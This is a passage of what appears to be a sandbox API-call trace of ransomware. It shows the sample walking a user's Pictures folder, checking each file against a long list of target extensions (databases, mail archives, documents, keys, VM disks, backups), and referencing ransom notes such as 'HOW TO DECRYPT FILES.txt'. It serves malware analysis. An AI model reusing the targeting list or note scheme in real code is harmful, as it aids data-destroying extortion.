ftLastWriteTime.dwHighDateTime=0x1d5e2ff, nFileSizeHigh=0x0, nFileSizeLow=0x8d22, dwReserved0=0x1f00031c, dwReserved1=0x4e00c4, cFileName="TEA6ZGznfT Uaa8.bmp", cAlternateFileName="TEA6ZG~1.BMP")) returned 1 [0091.107] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0091.107] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TEA6ZGznfT Uaa8.bmp") returned -1 [0091.107] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TEA6ZGznfT Uaa8.bmp") returned -1 [0091.107] lstrcmpiA (lpString1="", lpString2="TEA6ZGznfT Uaa8.bmp") returned -1 [0091.107] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg") returned="pgfP_RDHD43 CeHO78TZ.jpg" [0091.107] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" [0091.107] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\") returned="" [0091.107] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" [0091.107] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\how to decrypt files.txt")) returned 0x20 [0091.107] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="TEA6ZGznfT Uaa8.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp" [0091.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.ems") returned 0 [0091.107] lstrlenA (lpString="*.ems") returned 5 [0091.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.db") returned 0 [0091.107] lstrlenA (lpString="*.db") returned 4 [0091.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.dbf") returned 0 [0091.107] lstrlenA (lpString="*.dbf") returned 5 [0091.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.myox") returned 0 [0091.107] lstrlenA (lpString="*.myox") returned 6 [0091.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.myo") returned 0 [0091.107] lstrlenA (lpString="*.myo") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.qbw") returned 0 [0091.108] lstrlenA (lpString="*.qbw") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.qbb") returned 0 [0091.108] lstrlenA (lpString="*.qbb") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.qbm") returned 0 [0091.108] lstrlenA (lpString="*.qbm") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.qbo") returned 0 [0091.108] lstrlenA (lpString="*.qbo") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.qbx") returned 0 [0091.108] lstrlenA (lpString="*.qbx") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.qba") returned 0 [0091.108] lstrlenA (lpString="*.qba") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.qby") returned 0 [0091.108] lstrlenA (lpString="*.qby") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.qbj") returned 0 [0091.108] lstrlenA (lpString="*.qbj") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.ofx") returned 0 [0091.108] lstrlenA (lpString="*.ofx") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.qif") returned 0 [0091.108] lstrlenA (lpString="*.qif") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.mye") returned 0 [0091.108] lstrlenA (lpString="*.mye") returned 5 [0091.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.mbox") returned 0 [0091.109] lstrlenA (lpString="*.mbox") returned 6 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.eml") returned 0 [0091.109] lstrlenA (lpString="*.eml") returned 5 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.pst") returned 0 [0091.109] lstrlenA (lpString="*.pst") returned 5 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.ost") returned 0 [0091.109] lstrlenA (lpString="*.ost") returned 5 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.idx") returned 0 [0091.109] lstrlenA (lpString="*.idx") returned 5 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.dbx") returned 0 [0091.109] lstrlenA (lpString="*.dbx") returned 5 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.sql") returned 0 [0091.109] lstrlenA (lpString="*.sql") returned 5 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.mdb") returned 0 [0091.109] lstrlenA (lpString="*.mdb") returned 5 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.fdb") returned 0 [0091.109] lstrlenA (lpString="*.fdb") returned 5 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.wab") returned 0 [0091.109] lstrlenA (lpString="*.wab") returned 5 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.dat") returned 0 [0091.109] lstrlenA (lpString="*.dat") returned 5 [0091.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.txt") returned 0 [0091.109] lstrlenA (lpString="*.txt") returned 5 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.jpeg") returned 0 [0091.110] lstrlenA (lpString="*.jpeg") returned 6 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.jpg") returned 0 [0091.110] lstrlenA (lpString="*.jpg") returned 5 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.png") returned 0 [0091.110] lstrlenA (lpString="*.png") returned 5 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.php") returned 0 [0091.110] lstrlenA (lpString="*.php") returned 5 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.cs") returned 0 [0091.110] lstrlenA (lpString="*.cs") returned 4 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.cpp") returned 0 [0091.110] lstrlenA (lpString="*.cpp") returned 5 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.rar") returned 0 [0091.110] lstrlenA (lpString="*.rar") returned 5 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.zip") returned 0 [0091.110] lstrlenA (lpString="*.zip") returned 5 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.html") returned 0 [0091.110] lstrlenA (lpString="*.html") returned 6 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.htm") returned 0 [0091.110] lstrlenA (lpString="*.htm") returned 5 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.xlsx") returned 0 [0091.110] lstrlenA (lpString="*.xlsx") returned 6 [0091.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.xls") returned 0 [0091.111] lstrlenA (lpString="*.xls") returned 5 [0091.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.mp4") returned 0 [0091.111] lstrlenA (lpString="*.mp4") returned 5 [0091.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.ppt") returned 0 [0091.111] lstrlenA (lpString="*.ppt") returned 5 [0091.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.pptx") returned 0 [0091.111] lstrlenA (lpString="*.pptx") returned 6 [0091.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.doc") returned 0 [0091.111] lstrlenA (lpString="*.doc") returned 5 [0091.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.dot") returned 0 [0091.111] lstrlenA (lpString="*.dot") returned 5 [0091.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.docx") returned 0 [0091.111] lstrlenA (lpString="*.docx") returned 6 [0091.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.7z") returned 0 [0091.111] lstrlenA (lpString="*.7z") returned 4 [0091.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.tar") returned 0 [0091.111] lstrlenA (lpString="*.tar") returned 5 [0091.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.bz2") returned 0 [0091.111] lstrlenA (lpString="*.bz2") returned 5 [0091.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.gz") returned 0 [0091.111] lstrlenA (lpString="*.gz") returned 4 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.mkv") returned 0 [0091.112] lstrlenA (lpString="*.mkv") returned 5 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.eml") returned 0 [0091.112] lstrlenA (lpString="*.eml") returned 5 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.msg") returned 0 [0091.112] lstrlenA (lpString="*.msg") returned 5 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.edb") returned 0 [0091.112] lstrlenA (lpString="*.edb") returned 5 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.accdb") returned 0 [0091.112] lstrlenA (lpString="*.accdb") returned 7 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.odb") returned 0 [0091.112] lstrlenA (lpString="*.odb") returned 5 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.java") returned 0 [0091.112] lstrlenA (lpString="*.java") returned 6 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.asm") returned 0 [0091.112] lstrlenA (lpString="*.asm") returned 5 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.pfx") returned 0 [0091.112] lstrlenA (lpString="*.pfx") returned 5 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.pem") returned 0 [0091.112] lstrlenA (lpString="*.pem") returned 5 [0091.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.p12") returned 0 [0091.112] lstrlenA (lpString="*.p12") returned 5 [0091.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.gpg") returned 0 [0091.113] lstrlenA (lpString="*.gpg") returned 5 [0091.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.vsd") returned 0 [0091.113] lstrlenA (lpString="*.vsd") returned 5 [0091.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.odg") returned 0 [0091.113] lstrlenA (lpString="*.odg") returned 5 [0091.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.raw") returned 0 [0091.113] lstrlenA (lpString="*.raw") returned 5 [0091.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.nef") returned 0 [0091.113] lstrlenA (lpString="*.nef") returned 5 [0091.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.svg") returned 0 [0091.113] lstrlenA (lpString="*.svg") returned 5 [0091.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.psd") returned 0 [0091.113] lstrlenA (lpString="*.psd") returned 5 [0091.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.vmx") returned 0 [0091.113] lstrlenA (lpString="*.vmx") returned 5 [0091.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.vmdk") returned 0 [0091.113] lstrlenA (lpString="*.vmdk") returned 6 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.vdi") returned 0 [0091.114] lstrlenA (lpString="*.vdi") returned 5 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.lay6") returned 0 [0091.114] lstrlenA (lpString="*.lay6") returned 6 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.mpeg") returned 0 [0091.114] lstrlenA (lpString="*.mpeg") returned 6 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.djvu") returned 0 [0091.114] lstrlenA (lpString="*.djvu") returned 6 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.tiff") returned 0 [0091.114] lstrlenA (lpString="*.tiff") returned 6 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.backup") returned 0 [0091.114] lstrlenA (lpString="*.backup") returned 8 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.pdf") returned 0 [0091.114] lstrlenA (lpString="*.pdf") returned 5 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.cert") returned 0 [0091.114] lstrlenA (lpString="*.cert") returned 6 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.docm") returned 0 [0091.114] lstrlenA (lpString="*.docm") returned 6 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.xlsm") returned 0 [0091.114] lstrlenA (lpString="*.xlsm") returned 6 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.dwg") returned 0 [0091.114] lstrlenA (lpString="*.dwg") returned 5 [0091.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.nd") returned 0 [0091.114] lstrlenA (lpString="*.nd") returned 4 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.tlg") returned 0 [0091.115] lstrlenA (lpString="*.tlg") returned 5 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.lgb") returned 0 [0091.115] lstrlenA (lpString="*.lgb") returned 5 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 